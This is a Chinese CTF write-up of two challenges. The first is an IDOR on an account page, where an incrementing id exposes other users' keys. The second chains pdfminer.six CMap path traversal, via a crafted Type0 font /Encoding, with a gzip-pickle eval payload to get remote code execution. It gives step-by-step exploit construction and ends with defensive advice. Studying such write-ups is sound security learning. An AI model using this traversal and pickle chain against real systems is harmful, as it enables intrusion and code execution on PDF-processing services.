华中师范新生赛复现WP
一、我们可以重新开始吗 —— 越权访问(IDOR)
题目描述:黑夜,向左,向右,向前看,到底怎么才能重新走进你的心。
打开控制台,个人资料页长这样,注意「生产密钥」那一栏只给了打码的前缀:

页面地址里有一个很显眼的参数:
1 | http://hbc2.haobachang.com:22966/account?id=10482 |
先看「组织成员」,工号全在表里,而且是自增的:

把 id 换成别人的工号试一下,服务端完全没有属主校验,直接返回了对方的资料,连完整密钥都一起下发了:

1 | flag{63a8a9045eb94f6285f9043017cb8607} |
这题的本质是对象级鉴权缺失:接口把”你想查谁”和”你能不能查”混在了一起。id 又是自增数字,等于把整张用户表开放成一个可遍历的字典。
二、全心倾覆,分崩离析 —— pdfminer CMap 路径穿越 + pickle 反序列化
题目描述:解析者是一种智械。是的,当你回到摩天大楼,又或是想进入绀碧大厦时,它会根据你的大脑神经信号分析你的意图以及做基础的安全检查。解析者能读懂你,不,我好像能跟它对话…
题目里给了一份「工作站手册」,把关键信息都写明了:文书引擎是 pdfminer.six 20250506,遇到 Type0 复合字体会按 /Encoding 给出的 CMap 名称去本地缓存目录找映射表,缓存文件”由引擎按名称补全后加载”。

对应到源码就是 pdfminer/cmapdb.py 里的 _load_data():
1 | filename = "%s.pickle.gz" % name.replace("\0", "") |
三个条件凑齐就是 RCE:
name来自 PDF 的/Encoding,没有basename/realpath校验 → 路径穿越;- 后缀被硬拼
.pickle.gz→ 我们只能指向”以.pickle.gz结尾的文件”; - 命中后
pickle.loads→ 反序列化即代码执行。
题目又正好给了「科室云盘」,允许上传 .gz 并保留原文件名 —— 这就是给我们投递 payload 用的。
完整步骤
1. PDF 的基本对象结构
1 | 1 0 obj Catalog -> 根 |
2. 本地先生成一个极小的 PDF
1 | pip install reportlab |
1 | from reportlab.pdfgen import canvas |
5 行代码搞定,得到一个只有 /F1 一个简单字体的 PDF。
3. 用 qpdf 解包成可编辑的 QDF
1 | qpdf --qdf --object-streams=disable --stream-data=uncompress example.pdf work.qdf |
解包后得到(节选):
1 | %PDF-1.3 |
4. 改字体字典
要改的是 8 0 obj(内容流里 /F1 被 Tf 引用过,改它才有效):
1 | %% Original object ID: 2 0 |
改之前先记下手册里给的两个路径,真正命中的是第二个:
1 | 系统目录: /usr/share/pdfminer/ |
替换成:
1 | 8 0 obj |
四个改动点:
/Subtype改成Type0,/BaseFont改成不存在的FakeType0(我们不需要真字形);/Encoding改成穿越路径,指向投递到云盘的那份 pickle(<VID>是上传后拿到的编号);- 补上
/DescendantFonts,Type0 必须有下级 CIDFont; - 原来的
/WinAnsiEncoding那行必须删掉,留着会把字典结构顶坏。
注意:PDF 的 Name 里
/是分隔符,必须写成十六进制转义#2f。 所以../../..要写成..#2f..#2f..,路径里的/也全部换成#2f。 少写一个2f(比如写成#2fvault#878c1490)就会被解析成#87+8c1490,路径里多出一个0x87字节,彻底跑偏。
5. 必须补一个 11 0 obj
/DescendantFonts [ 11 0 R ] 是间接引用,指向的对象必须真实存在。在 xref 之前追加:
1 | 11 0 obj |
漏掉这一步的话,解析时 /DescendantFonts 会变成 [ null ],pdfminer 拿不到子字体 spec,/Encoding 直接被忽略 —— 既不报错,也不加载文件,最后静默降级成 Identity,文字被拆成一个个单字符。这种”安静失败”比抛异常难查得多。
改完重新打包(xref 偏移会自动重算):
1 | qpdf work.qdf chart.pdf |
会看到 can't find startxref / Attempting to reconstruct 之类的警告,正常 —— 正是因为偏移全失效了,qpdf 在自我重建。
6. 为什么是 7 层 ../
os.path.join(directory, name) 会对两个候选目录各试一次,层数等于候选目录的深度:
| 候选目录 | 组件数 | 结果 |
| — | — | — |
| /usr/share/pdfminer/ | 3 | 镜像里这个目录根本不存在,路径第一段就 ENOENT,.. 一个都没生效 |
| /usr/local/lib/python3.12/site-packages/pdfminer/cmap | 7 | usr/local/lib/python3.12/site-packages/pdfminer/cmap,退 7 级正好到 / |
所以必须写 7 个 ..#2f,才能从组件目录爬到根,再下到 /data/vault/<VID>/:
1 | 6 层 -> /usr/data/vault/<VID>/r.pickle.gz 不存在 |
多于 7 层不会出错(多余的 .. 被根吸收),少于 7 层一定落到不存在的中间目录。
7. 构造 r.pickle.gz
服务端是 gzip.open(path) 之后 pickle.loads(...),所以载荷必须是 gzip 包着的 pickle,文件名以 .pickle.gz 结尾:
1 | import gzip, io, pickle, pickletools |
几个细节:
__reduce__返回(eval, (CODE,)),pickle.loads读到REDUCE指令就会直接调用eval;- 结尾用
,{})[1]让返回值是个 dict —— 服务端紧接着要执行type(str(name), (), data),返回None会抛TypeError(但那时代码已经执行完了); - 命令输出通过
logging打到pdfminer.cmapdb的 ERROR 日志里,而 app 会把这段日志原样贴进任务页的「引擎诊断」,这就是我们的回显通道(容器里的 8080 打不到); - 输出里的换行压成
;;,否则<pre>会按行切碎。
pickletools.dis 应该能看到这两行:
1 | 2: c GLOBAL '__builtin__ eval' |
8. 上传、拿 VID、投递
1 | $base = "http://hbc2.haobachang.com:22966" |
把 <VID> 填进 /Encoding、重新 qpdf work.qdf chart.pdf,然后投递:
1 | $JID = ([regex]::Match((curl.exe -s -i -F "chart=@chart.pdf;type=application/pdf" "$base/charts"), |
9. 读引擎诊断
任务页的「引擎诊断」里,命中时的日志长这样:
1 | job.start file=/data/vault/xxxxxxxx/chart.pdf |
loading: 那行打印的是 _load_data() 收到的字符串,调试时看它最快:路径对不对、层数够不够,一眼就能看出来。
排错对照表
| 诊断内容 | 说明 | 改哪里 |
| — | — | — |
| 只有 job.start + cmap.search | 字体没被实例化 | 内容流里要有 BT /F1 12 Tf,且改的是 /F1 对应的对象 |
| KeyError: 'DescendantFonts' | Type0 字典结构坏了 | 删掉裸 /WinAnsiEncoding,检查 #2f 是否完整 |
| 有 FontBBox WARNING、没有 loading: | DescendantFonts 指向 null | 补 11 0 obj,让引用有落点 |
| loading: + decode: <CMap: None> | 路径没命中文件 | 层数(7)、#2f 数量、文件名是否 r.pickle.gz、VID 是否本次上传 |
| loading: + PWN> | 通了 | 收工 |
一句话总结
PDF 只是入口,真正的问题是三段拼接:
1 | path = os.path.join(fixed_dir, name_from_pdf + ".pickle.gz") # ① 用户可控字符串进路径 |
防御也就两条:名字白名单 + realpath 校验(别让 PDF 决定路径),以及别用 pickle 当缓存格式(CMap 换 JSON / 明文 CMap 即可)。云盘再把 .pickle* 这类后缀放开,等于白送一个 payload 托管服务。
本文作者 Allureluoli
文字版权归作者所有,转载请注明出处;商业用途请先联系二月。